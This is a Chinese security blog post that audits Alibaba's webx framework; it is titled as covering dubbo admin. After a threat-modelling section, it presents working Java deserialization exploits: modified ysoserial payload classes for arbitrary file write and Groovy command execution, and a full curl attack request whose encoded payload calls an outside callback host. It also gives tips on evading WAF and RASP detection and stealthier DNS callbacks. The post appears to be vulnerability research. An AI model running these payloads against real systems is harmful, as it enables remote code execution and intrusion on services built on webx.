JAVA安全网JAVA安全网

生命不息,折腾不止。
--JAVA人自留地。

代码审计-dubbo admin <=2.6.1远程命令执行漏洞

Author: Ramos

欢迎更多javaer投稿,让更多的人学习。

  • 前置

    • 输入材料
    • 安全目标和需求
    • 架构分析
  • 供应链安全

    • 源代码审查
    • 依赖结构矩阵(Dependency Structure Matrices,DSM)
  • 列表项目

  • 数据流

  • 信任边界

  • 数据存贮

威胁列表

  • otter manager

  • dubbo admin

  • 修复方案

RoadMap
通过结构化的思维进行以软件程序为中心的威胁建模、枚举威胁、缓解威胁、验证来解决四个问题:具体业务是什么?哪些地方可能出现风险?如何规避解决?是否覆盖完整。
通过前排了解(包括在fofa、zoomeyes、shodan的范围分析、wooyun历史漏洞材料输入),考量以下方面:

数据流或代码布局;

  • 访问控制;
  • 现有的或内置的安全控制;
  • 非用户输入的入口点;
  • 与外部服务的集成;
  • 配置文件和数据源的位置;
  • 插件和定制化展现(在内置设计框架的情况下)。

输入材料

webx需要的文档清单,主要关注系统的通用安全缺陷

安全设计文档:

  • 安全功能
  • 默认安全设置
  • 功能安全设计和实现
  • 子系统间的攻击风险点分析或者安全需求考量点

安全编码规范

  • 开发涉及安全点的要求
  • 代码review、培训涉及安全的记录

安全测试文档:

  • 功能涉及安全点的过程用例和结果文档

组件安全:

  • 涉及二进制、开源组件的版本记录,安全补丁维护记录

安全目标和需求

架构分析

webx 是Alibaba早期使用的一款建立在 Java Servlet API 基础上的通用 WEB 框架。用 Webx 搭建的应用可以运行在任何一个标准的 WEB 应用服务器上面:Tomcat、Jetty、Jboss、Weblogic。 Webx 是基于经典 MVC设计模式的 WEB 框架 Spring,并且可以被其它组件扩展。Webx 不仅能够用来开发高度可定制的 Web 应用,也能够用来帮助用户开发高度可扩展的非 WEB 的应用。作为一款阿里内部广泛使用的基础中间框架。其在SDLC开发流程阶段占据了一定的地位(参考《钉钉安全白皮书》应用安全章节介绍),虽然它的官网已经不维护,也是先知社区通用软件的A类应用。企业内部框架设置默认值和默认扩展应该是最安全、最常用的选择,同时将会在线上自动去除开发工具、debug和trace组件,保证软件基线安全。
1.jpeg

技术方案合久必分、分久必合,统一框架在互联网公司存在推广困难、开发人员技术固化、在微服务的架构下难以高效扩展的缺陷,出现逐步被spring cloud等组件替换或升级的趋势。但是仍需关注底层框架存在风险的场景,框架势必会影响众多增量和存量业务。对待存量业务的历史遗留问题,存在调用链分析技术手段不全、安全监控存在组件不清晰、整改过程存在难度大、范围广、修复指标不清晰的客观困难。安全推进过程中SDL团队没有足够人力物力跟进每一次安全需求和评审;而在开发阶段依赖于经过培训和宣讲后的code review需要具备一定的安全能力;而在日常安全运营介入较多的安全测试阶段,功能安全测试和安全功能的测试需要实施人员具备一定的代码阅读和赋能有效修复方案的能力。商业静态安全工具对于框架类支持有限,在未定制规则匹配模型、未设置防误报原语和自定义有效slink点和污染路径的情况下,扫描效果存在着高误报率、高漏报率的局限性;黑盒扫描对于post请求、参数带有权限验证、迭代扫描业务、日志路由收集不全、poc不灵活的前提下就不能主动发现更多场景的安全风险和漏洞;人工代码review可以显著发现业务安全问题如越权、信息泄露、遍历类问题,其他方面只能大致人工覆盖公司历史的主要安全问题和owasp top10列表;checklist检测适用于数据安全层面和归档信息,各阶段数据难以有效联动形成闭环运营。SDL有必要对组件和框架做一次安全设计和架构方面的评估,以webx为抓手,可以进行一次探索式地安全分析。
web处理架构简单参考下图:
2.jpeg

供应链安全

遵循供应链安全检测标准,使用dependency check分析项目的依赖关系,匹配CWE对应NVD查询CVE。发现存在多处安全风险。

3.jpeg
使用git alert功能进行分析,结果基本一致
4.jpeg
此外经过mvn dependency tree人工审视发现org.codehaus.groovy:groovy-all:2.1.7引用实际存在CVE-2016-6814, CVE-2015-3253风险,利用存在客观难度,考虑到信息安全策略的三要素,遵循接受风险的策略。
源代码审查
对于框架类的使用白盒扫描器,可以用注解的方式打标避免误报和漏报,步骤为:
为 Java 接口方法建模
为资源泄漏建模
为不可信(被污染的)数据源建模
为不能流入被污染数据的方法(数据消费者)建模
添加字段被污染或未被污染的断言
抑制对方法的缺陷报告
生成 Java Web 应用程序安全 模型
结合自定义规则进行排查,发现89项代码风险。
5.jpeg
使用lgtm辅助分析:
可以看到有两处xss、一处重定向需要进行验证。
6.jpeg
依赖结构矩阵(Dependency Structure Matrices,DSM)
这处的作用是:可以直接快速查看关联关系,方便分析在注解、引用、参数调用时候的情况。
7.jpeg
数据流
资产是指对用户有价值,被攻击目标。除了用户数据等直接资产,还包括系统,权限等可以被利用进一步攻击的非直接资产。资产在应用系统不同的位置和访问入口就形成了我们所说的攻击面,对攻击面防护部署不当,或者资产在不被信任的位置被访问,存储和使用都会导致设计缺陷和漏洞,这里主要指数据流。
信任边界
已确定的的信任边界为:

  • 外围防火墙、waf、应用认证的调用
  • 数据库服务器信任来自dmz区的web应用程序的调用
  • 前后端的数据传参流转
    数据流图:
    框架类的实现较为复杂,手工分析画了些图,略
    子系统分解:
    对系统的了解程度指明了对子系统的剖析程度,略
    数据存贮

    威胁列表
    STRIDE威胁建模
    依据STRIDE威胁建模方法,采用微软的Web 应用程序安全框架设计威胁列表:
    自顶向下逐步分解,按照大模块进行梳理,检查通用场景威胁列表和和原始安全需求,并对识别的威胁进行转移、缓解、消除、接受风险这样的缓解措施,这里不适合使用综合威胁办法,从设计和交付回顾角度未有效增强fuzz能力。
    8.jpeg
    将以上结果纳入威胁漏洞库。

攻击树分析:
通过文档记录检查的方法,检索漏洞信息。利用攻击树体现漏洞、手段、将威胁进行裁剪细化,直达具体的行为、状态。构建合适and的or模型很麻烦,依靠于建模人员的知识广度。
9.jpeg
基于Misuse_case的建模方法

##软件baseline

#技术考量和漏洞报告
还在使用ctrl+f吗?使用ql查询语言分析序列化的点吧:
10.jpeg
编写单元测试,通过flow进行跟进
11.jpeg
##反序列化风险
参阅技术文档《webx3_guide_book》的章节9.4.3.3. Field API,
12.jpeg
利用:
在com.alibaba.citrus.service.form.impl.FieldImpl存在反序列化功能。
13.jpeg
由于encode方法是对对象序列化后进行zip压缩、base64编码、url编码,所以需要改造
可以通过两种方式调用反序列化接口。
以官方的turorial1为例,新增显式保存附件的功能,设置setAttachment对象,待反序列化时调用
14.jpeg
为了验证效果我们开启组件过滤功能,form.xml设置
15.jpeg
webx.xml设置只容许上传jpg文件。
16.jpeg
通过抓包http请求,分析流量和参数,我们可以通过构造.attach请求实现反序列化效果。
考虑到框架自动解析filedImpl,对于没有这种写法的网页,也是存在反序列化漏洞。还是以demo的注册页面为例,构造请求进行url一次编码,依旧生效:
17.jpeg
POC:
考虑到webx已经使用了commons-fileupload:1.3.1(还记得dependency check的结果吗?其实Apache Commons Fileupload Dos漏洞也是存在的),可以直接调用反序列化工具ysoserial,改造poc:
在ysoserial的pom.xml增加citrus的引用
改造FileUpload1.java为:

package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.Arrays;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import com.alibaba.citrus.util.StringEscapeUtil;
import com.alibaba.citrus.util.io.ByteArray;
import com.alibaba.citrus.util.io.ByteArrayOutputStream;
/**
 * Gadget chain:
 * DiskFileItem.readObject()
 *
 * Arguments:
 * - copyAndDelete;sourceFile;destDir
 * - write;destDir;ascii-data
 * - writeB64;destDir;base64-data
 * - writeOld;destFile;ascii-data
 * - writeOldB64;destFile;base64-data
 *
 * Yields:
 * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
 * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
 * - 1.3.1+: write data to a more or less random file in an arbitrary directory
 *
 * @author mbechler
 */
@Dependencies({
    "commons-fileupload:commons-fileupload:1.3.1",
    "commons-io:commons-io:2.4"
})
@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
@Authors({
    Authors.MBECHLER
})
public class FileUpload1 implements ReleaseableObjectPayload < DiskFileItem > {

    public DiskFileItem getObject(String command) throws Exception {
        String[] parts = command.split(";");
        if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
            return copyAndDelete(parts[1], parts[2]);
        } else if (parts.length == 3 && "write".equals(parts[0])) {
            return write(parts[1], parts[2].getBytes("US-ASCII"));
        } else if (parts.length == 3 && "writeB64".equals(parts[0])) {
            return write(parts[1], Base64.decodeBase64(parts[2]));
        } else if (parts.length == 3 && "writeOld".equals(parts[0])) {
            return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
        } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
            return writePre131(parts[1], Base64.decodeBase64(parts[2]));
        } else {
            throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
        }
    }

    public void release(DiskFileItem obj) throws Exception {
        // otherwise the finalizer deletes the file
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
        Reflections.setFieldValue(obj, "dfos", dfos);
    }
    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException,
    Exception {
        return makePayload(0, copyTo, copyAndDelete, new byte[1]);
    } // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)

    private static DiskFileItem write(String dir, byte[] data) throws IOException,
    Exception {
        return makePayload(data.length + 1, dir, dir + "/whatever", data);
    } // writes data to an arbitrary file
    private static DiskFileItem writePre131(String file, byte[] data) throws IOException,
    Exception {
        return makePayload(data.length + 1, file + "\0", file, data);
    }
    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException,
    Exception { // if thresh < written length, delete outputFile after copying to repository temp file
        // otherwise write the contents to repository temp file
        File repository = new File(repoPath);
        DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000,
            repository);
        File outputFile = new File(filePath);
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
        OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
        os.write(data);
        Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
        Reflections.setFieldValue(diskFileItem, "dfos", dfos);
        Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
        //对diskFileItem进行处理,进行一次zip压缩,一次base64编码,进行一次url编码
        System.out.println(encode(diskFileItem));
        return diskFileItem;
    }
    private static String encode(Object attachment) {
        if (attachment == null) {
            return null;
        }
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream(); // 1. 序列化
            // 2. 压缩
            Deflater def = new Deflater(Deflater.BEST_COMPRESSION, false);
            DeflaterOutputStream dos = new DeflaterOutputStream(baos, def);
            ObjectOutputStream oos = null;
            try {
                oos = new ObjectOutputStream(dos);
                oos.writeObject(attachment);
            } finally {
                if (oos != null) {
                    try {
                        oos.close();
                    } catch (IOException e) {}
                }

                def.end();
            }
            byte[] plaintext = baos.toByteArray().toByteArray(); // 3. base64编码
            return StringEscapeUtil.escapeURL(new String(Base64.encodeBase64(plaintext, false), "ISO-8859-1"));
        } catch (Exception e) {
            return "!Failure: " + e;
        }
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(FileUpload1.class, args);
    }

}

注意,通过DiskFileItem生成poc:
18.jpeg
这时候的危害是:
FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能够达到写入任意文件的漏洞;
FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本,能够向任意目录写入文件;
FileUpload的1.3.1以及之后的版本只能向特定目录写入文件,此目录也必须存在。(文件的的命名也无法控制);
虽然经过url和base64、zip的编码转化,几乎不能被waf拦截,但是反序列功能可能被rasp安全功能识别黑名单,绕过方式为使用webx自带的组件可以构造webx的特定poc,利用AbstractFileItem继承FileItem的特性,抽象类的构造需要改一改(InMemoryFormFieldItem也可以)。

package ysoserial.payloads;
 import org.apache.commons.codec.binary.Base64;
 import com.alibaba.citrus.service.upload.impl.cfu.AbstractFileItem;
 import com.alibaba.citrus.service.upload.impl.cfu.DiskFileItem;
 import org.apache.commons.io.output.DeferredFileOutputStream;
 import org.apache.commons.io.output.ThresholdingOutputStream;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 import java.io.File;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 import java.io.OutputStream;
 import java.lang.reflect.Field;
 import java.util.Arrays;
 import java.util.zip.Deflater;
 import java.util.zip.DeflaterOutputStream;
 import com.alibaba.citrus.util.StringEscapeUtil;
 import com.alibaba.citrus.util.io.ByteArray;
 import com.alibaba.citrus.util.io.ByteArrayOutputStream;

/**
 * Gadget chain: DiskFileItem.readObject()
 *
 * Arguments: - copyAndDelete;sourceFile;destDir - write;destDir;ascii-data - writeB64;destDir;base64-data -
 * writeOld;destFile;ascii-data - writeOldB64;destFile;base64-data
 *
 * Yields: - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) - pre 1.3.1 (+ old
 * JRE): write data to an arbitrary file - 1.3.1+: write data to a more or less random file in an arbitrary directory
 *
 * @author mbechler
 */
 @Dependencies( {
    "com.alibaba.citrus:citrus-common-util:3.2.4", "com.alibaba.citrus:citrus-service-upload:3.2.4"
}
) @PayloadTest(harness="ysoserial.payloads.FileUploadTest") @Authors( {
    Authors.MBECHLER
}
) public class Webx implements ReleaseableObjectPayload<DiskFileItem> {
    public DiskFileItem getObject(String command) throws Exception {
        String[] parts=command.split(";");
        if (parts.length==3 &&"copyAndDelete".equals(parts[0])) {
            return copyAndDelete(parts[1], parts[2]);
        }
        else if (parts.length==3 &&"write".equals(parts[0])) {
            return write(parts[1], parts[2].getBytes("US-ASCII"));
        }
        else if (parts.length==3 &&"writeB64".equals(parts[0])) {
            return write(parts[1], Base64.decodeBase64(parts[2]));
        }
        else if (parts.length==3 &&"writeOld".equals(parts[0])) {
            return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
        }
        else if (parts.length==3 &&"writeOldB64".equals(parts[0])) {
            return writePre131(parts[1], Base64.decodeBase64(parts[2]));
        }
        else {
            throw new IllegalArgumentException("Unsupported command " + command +" " + Arrays.toString(parts));
        }
    }
    public void release(DiskFileItem obj) throws Exception {
        // otherwise the finalizer deletes the file DeferredFileOutputStream dfos=new DeferredFileOutputStream(0, null);
        Reflections.getField(AbstractFileItem.class, "dfos").set(obj, dfos);
        //Reflections.setFieldValue(obj, "dfos", dfos);
    }
    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
        return makePayload(0, copyTo, copyAndDelete, new byte[1]);
    }
    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp) private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
        return makePayload(data.length + 1, dir, dir +"/whatever", data);
    }
    // writes data to an arbitrary file private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
        return makePayload(data.length + 1, file +"\0", file, data );

    }
    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
        // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository=new File(repoPath);
        DiskFileItem diskFileItem=new DiskFileItem("test", "application/octet-stream", false, "test", 100000, false, repository);
        File outputFile=new File(filePath);
        // 实现延迟写输出流,来自于common-io包 DeferredFileOutputStream dfos=new DeferredFileOutputStream(thresh, outputFile);
        OutputStream os=(OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
        // os.write(data);
        // 反射机制覆盖written方法的内容 Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
        Reflections.getField(AbstractFileItem.class, "dfos").set(diskFileItem, dfos);
        ;
        // Reflections.setFieldValue(diskFileItem, "dfos", dfos);
        Reflections.getField(AbstractFileItem.class, "sizeThreshold").set(diskFileItem, 0);
        ;
        // 对diskFileItem进行处理,进行一次zip压缩,一次base64编码,进行一次url编码 System.out.println(encode(diskFileItem));
        return diskFileItem;
    }
    private static String encode(Object attachment) {
        if (attachment==null) {
            return null;
        }
        try {
            ByteArrayOutputStream baos=new ByteArrayOutputStream();
            // 1. 序列化 // 2. 压缩 Deflater def=new Deflater(Deflater.BEST_COMPRESSION, false);
            DeflaterOutputStream dos=new DeflaterOutputStream(baos, def);
            ObjectOutputStream oos=null;
            try {
                oos=new ObjectOutputStream(dos);
                oos.writeObject(attachment);
            }
            finally {
                if (oos !=null) {
                    try {
                        oos.close();
                    }
                    catch (IOException e) {
                    }
                }
                def.end();
            }
            byte[] plaintext=baos.toByteArray().toByteArray();
            // 3. base64编码 return StringEscapeUtil.escapeURL(new String( Base64.encodeBase64( plaintext, false ), "ISO-8859-1"));
        }
        catch (Exception e) {
            return"!Failure: " + e;
        }
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Webx.class, args);
    }
}

生成经过序列化的数据,GeneratePayload传入的恶意数组为Webx write;/Users/nano/;hacker2:
19.jpeg
将数据追加到fm.u.0.s.attach,(重点,框架的form参数必须找到,如果有参数fm.l.0.p,那么使用fm.l.0.p.attach接口)
It works!这里使用。需要注意的是AbstractFileItem的注释:
改进自commons-fileupload-1.2.1的同名类。

解决了如下问题:

原DiskFileItem类(以下简称原类)在解析form field的值时,会利用 content-type头部指定的charset值来决定其字符集编码。例如,下面的 multipart/form-data请求片段指定了myparam field值的字符集编码为 UTF-8:
----HttpUnit-part0-aSgQ2M
Content-Disposition: form-data; name="myparam"
Content-Type: text/plain; charset=UTF-8
然而,除了单元测试所用的httpunit/servletunit以外,几乎没有浏览器会在这里指定 content-type以及 charset。因此原类的 getString()总是得不到解码正确的字符串。
原类将内容的长度超过sizeThreshold的字段 —— 无论普通的form fields或是文件字段 —— 均存入文件 。这是一种优化。然而在某些情况下,我们希望关闭这种优化 —— 将 sizeThreshold设置成 0 ,以便让所有上传文件无论大小都被存入磁盘。然而仍然希望普通的form fields被保存在内存里。
创建文件时,希望能自动创建目录。
具体改进了如下内容:
利用传入的charset参数,而不是content-type来解码form field。但该参数对于文件型字段无效。
删除getCharSet()方法,添加getCharset()和 setCharset()方法。
修改getString()方法,对form field使用指定的charset来解码。
添加keepFormFieldInMemory属性。
改进getOutputStream()方法,,当 keepFormFieldInMemory == true时,不将form fields写入文件,即将 threshold设置成Integer.MAX_VALUE。
利用File.createTempFile()来生成临时文件,删除原getTempFile() 方法,及相关的getUniqueId()方法、counter field、 tempFile field。
改进write()方法,当文件目录不存在时,创建之。
改进toString()方法,使之返回文件名,这种形式是为了方便页面引用FileItem对象。
Author:
Michael Zhou
那么我们如果有权限可以控制创建目录了~此时的危害

  1. webx的配合JDK1.7之前的版本,能够达到写入任意文件的漏洞;
  2. webx配合JDK1.7及其之后的版本,能够向任意目录写入文件;
  3. webx向自定义目录写文件,实现大文件拒绝式服务攻击。(文件命名的无法控制为upload_uid_.tmp,只能控制内容);
    20.jpeg

其他poc:

以上是基于webx自带的jar包构造杀伤链,如果项目有其他依赖,可以适配poc实现远程命令执行。还记得供应链安全吗,前文我们说到有groovy 2.17,那我们就用2.3.9的poc吧!

 package ysoserial.payloads;
 import org.apache.commons.codec.binary.Base64;
 import org.codehaus.groovy.runtime.ConvertedClosure;
 import org.codehaus.groovy.runtime.MethodClosure;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.InvocationHandler;
 import java.util.Map;
 import java.util.zip.Deflater;
 import java.util.zip.DeflaterOutputStream;
 import com.alibaba.citrus.util.StringEscapeUtil;
 import com.alibaba.citrus.util.io.ByteArray;
 import com.alibaba.citrus.util.io.ByteArrayOutputStream;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                Comparator.compare() (Proxy)
                    ConvertedClosure.invoke()
                        MethodClosure.call()
                            ...
                                Method.invoke()
                                    Runtime.exec()

    Requires:
        groovy
 */
@SuppressWarnings( {
    "rawtypes", "unchecked"
}
)@Dependencies( {
    "org.codehaus.groovy:groovy:2.3.9"
}
)@Authors( {
    Authors.FROHOFF
}
)public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    public InvocationHandler getObject(final String command) throws Exception {
        final ConvertedClosure closure=new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
        final Map map=Gadgets.createProxy(closure, Map.class);
        final InvocationHandler handler=Gadgets.createMemoizedInvocationHandler(map);
        System.out.println(encode(handler));
        return handler;
    }
    private static String encode(Object attachment) {
        if (attachment==null) {
            return null;
        }
        try {
            ByteArrayOutputStream baos=new ByteArrayOutputStream();
            // 1. 序列化 // 2. 压缩 Deflater def=new Deflater(Deflater.BEST_COMPRESSION, false);
            DeflaterOutputStream dos=new DeflaterOutputStream(baos, def);
            ObjectOutputStream oos=null;
            try {
                oos=new ObjectOutputStream(dos);
                oos.writeObject(attachment);
            }
            finally {
                if (oos !=null) {
                    try {
                        oos.close();
                    }
                    catch (IOException e) {
                    }
                }
                def.end();
            }
            byte[] plaintext=baos.toByteArray().toByteArray();
            // 3. base64编码 return StringEscapeUtil.escapeURL(new String( Base64.encodeBase64( plaintext, false ), "ISO-8859-1"));
        }
        catch (Exception e) {
            return"!Failure: " + e;
        }
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Groovy1.class, args);
    }
}

还是在webx的demo上,执行命令Groovy1 ‘curl lzv3nf.ceye.io/2’,生成poc:

curl 'http://localhost:8082/form/register.htm' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Origin: http://localhost:8082' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8082/form/register.htm' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7' -H 'Cookie: user=user1; _ga=GA1.1.1710135517.1532404169; Idea-67b3b07=90cc4bf1-d62b-4083-a2a7-48e17a3dfecf; JSESSIONID=UKZN4BDW61-1SI1FVR44K5UX5UKSX7Z1-NT2D83QJ-0; tmp0=eNrz4A12DQ729PeL9%2FV3cfUxiKzOTLFSCvWO8jNxcgk3M9Q1DPY0dAsLMjHxNg2NMA31Do4wjzLU9QsxcrEwDvTSNVDSSS6xMjQ1MTU3NLA0MDEyMtVJTIYKGBoZmpsZWOrkVlgZ1HLHJxcXpcWX5Gen5kkaGKSnhSd7ZJX5ZpjoG5qHlYZBOVEAOdMovQ%3D%3D' --data '_csrf_token=6Gbh06UEFCuV9YzHSilUf2&action=register_action&_fm.r._0.n=a&_fm.u._0.s.attach=%65%4e%72%74%56%56%31%6f%48%46%55%55%50%74%6d%6b%4e%6d%33%53%4a%4e%32%53%53%71%30%25%32%46%41%61%4d%32%6b%4d%35%67%71%68%56%4a%61%34%79%72%4d%51%75%54%70%47%5a%74%6c%65%54%70%37%73%7a%5a%6e%55%6e%76%33%44%76%65%65%32%65%7a%32%32%71%66%42%48%31%54%30%4a%63%69%67%6f%69%43%66%39%56%58%42%63%56%48%78%57%67%66%25%32%42%6c%42%42%55%42%47%46%49%75%4b%6a%25%32%42%4b%68%6e%66%6a%61%37%6d%70%4c%47%64%77%64%32%39%74%36%5a%38%33%33%33%4f%39%38%35%63%25%32%42%38%48%76%38%4d%75%72%57%42%4b%78%38%4a%53%57%4f%50%6f%47%6f%73%4a%49%51%30%7a%67%52%54%57%37%4f%61%77%4c%42%72%53%54%55%66%7a%54%48%67%63%31%65%6d%76%25%32%46%68%67%65%33%62%6a%77%64%67%45%4b%44%67%79%47%47%46%5a%52%6e%57%45%38%52%6d%31%67%32%46%6c%6a%44%57%62%48%4a%75%44%32%41%6f%75%6d%48%65%67%7a%72%51%67%4e%37%4d%39%65%63%43%62%71%64%6f%6b%7a%72%61%65%62%6b%58%34%4f%41%48%70%67%58%25%32%46%4c%47%53%69%41%57%51%5a%6f%4b%62%6b%34%66%4a%4b%47%62%79%6b%34%70%32%57%7a%39%64%4d%39%33%59%31%25%32%42%50%6c%44%59%4b%30%4f%4e%41%6a%32%25%32%46%67%72%69%37%53%50%4e%4c%65%49%6a%64%5a%53%4d%47%6b%56%48%58%4c%6c%52%37%36%4c%4e%5a%57%58%55%6e%5a%61%46%6b%71%46%69%59%49%30%53%70%4a%30%55%42%6c%30%43%74%78%71%57%4f%46%49%33%63%25%32%42%63%4f%6a%50%30%65%38%50%70%77%76%74%44%64%48%34%30%6c%74%6b%39%41%25%32%46%46%72%68%55%72%52%67%57%69%50%6b%32%43%6a%39%36%59%58%48%63%45%45%66%73%74%56%33%73%25%32%42%50%5a%7a%36%31%25%32%42%38%68%78%7a%6f%7a%25%32%46%25%32%42%4a%65%71%71%35%52%4d%6d%54%66%67%4a%25%32%42%43%53%73%7a%31%4b%65%52%49%6c%37%32%75%46%47%36%73%46%41%70%6a%6c%7a%61%48%38%30%7a%37%69%65%39%70%7a%68%50%62%79%56%70%49%73%38%6f%54%33%6a%25%32%46%30%30%50%4d%76%66%58%5a%35%50%6b%33%34%70%69%7a%68%5a%25%32%42%41%43%37%4b%48%6b%44%75%54%41%74%42%35%35%25%32%46%49%6b%33%76%71%67%64%4c%50%4b%56%41%76%53%58%59%59%38%58%4b%42%49%62%4e%4c%41%4d%68%30%4c%57%44%4d%49%34%58%49%79%54%72%6c%69%71%6e%57%49%71%38%59%33%79%4c%38%4f%77%51%69%31%35%41%38%6b%33%79%72%66%65%63%71%43%33%36%71%34%62%4f%4f%47%51%54%72%75%74%30%38%36%57%73%33%4f%64%74%73%73%34%31%34%46%42%25%32%42%78%45%70%4f%54%4b%52%4b%33%68%4b%73%53%69%69%34%6e%59%35%6d%41%67%65%63%47%43%58%58%42%65%6f%30%73%6b%71%44%45%56%74%41%55%39%53%47%31%4b%44%46%6c%65%33%4e%43%4b%56%32%50%69%42%7a%69%78%50%63%63%30%49%73%71%75%51%33%43%49%44%6f%32%51%76%48%25%32%42%50%6e%47%73%64%45%7a%58%4b%78%68%56%59%67%37%61%6b%6b%39%6b%43%73%32%70%78%74%68%78%4c%4f%39%77%39%25%32%42%25%32%42%25%32%42%48%47%4e%79%73%58%69%53%41%6c%4b%7a%54%49%79%4f%36%77%76%48%6b%75%58%54%6c%7a%37%64%66%62%7a%6a%25%32%42%65%78%6c%48%4d%59%42%6f%52%53%47%73%75%34%4e%68%33%39%4b%33%48%68%76%62%39%38%6c%64%76%55%70%57%25%32%42%69%42%6b%25%32%46%71%30%6c%45%69%6e%5a%6a%45%39%33%59%49%4a%58%35%37%73%37%33%30%25%32%42%6b%4a%61%30%74%50%65%42%64%25%32%46%4b%4c%37%25%32%42%77%73%54%4a%58%75%67%74%77%34%44%47%65%6b%6a%76%46%70%67%25%32%42%57%34%62%42%66%46%62%78%67%35%70%5a%68%66%35%38%53%6e%62%64%75%37%72%44%6a%68%75%76%5a%4a%6a%70%4e%4e%31%68%25%32%42%74%31%4b%7a%75%54%77%47%34%76%62%68%43%25%32%42%76%7a%38%78%4f%76%66%61%67%61%52%73%33%51%67%6c%61%25%32%46%34%33%6a%6a%75%50%4f%79%30%25%32%42%25%32%46%4d%6e%47%53%6d%6e%6b%4f%39%6e%4c%4a%76%44%6e%6d%47%71%6d%6f%6c%34%39%63%6c%34%6c%4c%39%36%79%32%6c%70%48%47%69%67%6e%6a%30%4c%52%32%25%32%42%70%33%4a%79%53%25%32%46%58%66%6b%73%25%32%46%69%44%37%64%45%71%34%42%25%32%42%25%32%46%70%57%70%47%6a%37%48%25%32%42%6a%78%43%67%47%79%62%25%32%46%43%25%32%42%6e%61%34%34%76%69%68%46%6a%51%55%71%67%65%4b%4c%55%39%63%71%35%7a%38%66%53%45%79%67%33%57%58%48%46%41%6e%32%34%39%76%66%66%50%57%39%52%31%65%65%7a%62%44%33%62%34%4f%64%72%57%71%43%75%75%61%4a%47%47%50%30%45%71%79%76%70%41%6a%4f%6f%61%4c%73%53%25%32%46%48%4d%38%73%25%32%42%55%66%5a%6c%4f%43%54%6f%48%6b%4c%69%4f%37%34%42%72%61%56%32%77%4b%73%64%75%73%6d%4d%25%32%46%66%76%54%4a%70%56%43%25%32%42%32%36%34%6f%7a%44%77%4d%6f%4a%4e%4f%48%6b%76%76%34%25%32%46%38%25%32%46%32%25%32%46%35%5a%46%44%55%4e%39%43%64%31%62%6c%58%51%30%43%5a%52%37%47%77%6a%53%33%53%30%71%4d%42%44%36%46%7a%4e%36%47%25%32%46%44%56%6f%69%38%0a&event_submit_do_register=%E6%8F%90%E4%BA%A4' --compressed

至此,使用原生webx框架,证实命令执行漏洞poc生效。显示环境推荐使用推荐使用url2dns的poc。比wget或者curl -k方便和隐蔽。
21.jpeg
22.jpeg
调用链如下:
23.jpeg

影响范围:

otter
我们花开两朵,各表一枝,以otter为例https://github.com/alibaba/otter 我们进行一次漏洞利用:https://github.com/alibaba/otter/wiki/Docker_QuickStart
